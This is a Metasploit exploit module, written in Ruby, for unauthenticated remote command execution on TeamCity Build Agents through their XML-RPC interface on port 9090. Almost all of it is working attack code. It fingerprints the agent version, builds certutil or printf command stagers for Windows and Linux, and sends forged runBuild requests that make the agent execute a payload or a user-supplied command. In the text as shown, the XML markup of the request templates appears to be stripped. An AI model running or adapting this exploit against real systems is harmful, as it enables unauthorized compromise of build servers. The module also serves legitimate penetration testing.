## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'TeamCity Agent XML-RPC Command Execution', 'Description' => %q( This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards. ), 'Author' => ['Dylan Pindur '], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.tenable.com/plugins/nessus/94675'] ], 'Platform' => %w[linux win], 'Targets' => [ ['Windows', { 'Platform' => 'win' }], ['Linux', { 'Platform' => 'linux' }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 14 2015')) deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST') register_options( [ Opt::RPORT(9090), OptString.new( 'CMD', [false, 'Execute this command instead of using command stager', ''] ) ] ) end def check version = determine_version if !version.nil? && version >= 15772 Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit version = determine_version if version.nil? fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version') else print_status("Found TeamCity Agent running build version #{version}") end unless datastore['CMD'].blank? print_status('Executing user supplied command') execute_command(datastore['CMD'], version) return end case target['Platform'] when 'linux' linux_stager(version) when 'win' windows_stager(version) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end end def windows_stager(version) print_status('Constructing Windows payload') stager = generate_cmdstager( flavor: :certutil, temp: '.', concat_operator: "\n", nodelete: true ).join("\n") stager = stager.gsub(/^(?.{5}\.exe)/, 'start "" \k') xml_payload = build_request(stager, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def linux_stager(version) print_status('Constructing Linux payload') stager = generate_cmdstager( flavor: :printf, temp: '.', concat_operator: "\n", nodelete: true ).join("\n") stager << ' &' xml_payload = build_request(stager, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def execute_command(cmd, version) xml_payload = build_request(cmd, version) if xml_payload.nil? fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") end print_status("Found compatible build config for TeamCity build #{version}") send_request(xml_payload) end def determine_version xml_payload = %( buildAgent.getVersion ) res = send_request_cgi( { 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml', 'data' => xml_payload.strip! }, 10 ) if !res.nil? && res.code == 200 xml_doc = res.get_xml_document if xml_doc.errors.empty? val = xml_doc.xpath('/methodResponse/params/param/value') if val.length == 1 return val.text.to_i end end end return nil end def send_request(xml_payload) res = send_request_cgi( { 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml', 'data' => xml_payload }, 10 ) if !res.nil? && res.code == 200 print_status("Successfully sent build configuration") else print_status("Failed to send build configuration") end end def build_request(script_content, version) case version when 0..15771 return nil when 15772..17794 return req_teamcity_6(script_content) when 17795..21240 return req_teamcity_6_5(script_content) when 21241..27401 return req_teamcity_7(script_content) when 27402..32059 return req_teamcity_8(script_content) when 32060..42001 return req_teamcity_9(script_content) when 42002..46532 return req_teamcity_10(script_content) else return req_teamcity_2017(script_content) end end def req_teamcity_2017(script_content) build_code = Rex::Text.rand_text_alpha(8) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.runBuild #{build_id} x x ON_AGENT x #{build_code} x 3 system.build.number 0 x false simpleRunner x teamcity.build.step.name x script.content #{script_content} teamcity.step.mode default use.custom.script true ]]> ) return xml_payload.strip! end def req_teamcity_10(script_content) build_code = Rex::Text.rand_text_alpha(8) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.runBuild #{build_id} x x ON_AGENT x #{build_code} x 3 system.build.number 0 x false simpleRunner x teamcity.build.step.name x script.content #{script_content} teamcity.step.mode default use.custom.script true ]]> ) return xml_payload.strip! end def req_teamcity_9(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.runBuild #{build_id} x x ON_AGENT x 3 system.build.number 0 x false simpleRunner x teamcity.build.step.name x script.content #{script_content} teamcity.step.mode default use.custom.script true ]]> ) return xml_payload.strip! end def req_teamcity_8(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.runBuild #{build_id} x ON_AGENT x system.build.number 0 x false simpleRunner x teamcity.build.step.name x script.content #{script_content} teamcity.step.mode default use.custom.script true 3 ]]> ) return xml_payload.strip! end def req_teamcity_7(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.runBuild #{build_id} x ON_AGENT x system.build.number 0 simpleRunner x script.content #{script_content} teamcity.step.mode default use.custom.script true teamcity.build.step.name x 3 ]]> ) return xml_payload.strip! end def req_teamcity_6_5(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.run #{build_id} x false ON_AGENT x system.build.number 0 simpleRunner x script.content #{script_content} use.custom.script true ]]> ) return xml_payload.strip! end def req_teamcity_6(script_content) build_id = Rex::Text.rand_text_numeric(8) xml_payload = %( buildAgent.run #{build_id} x false ON_AGENT x system.build.number 0 simpleRunner script.content #{script_content} use.custom.script true ]]> ) return xml_payload.strip! end end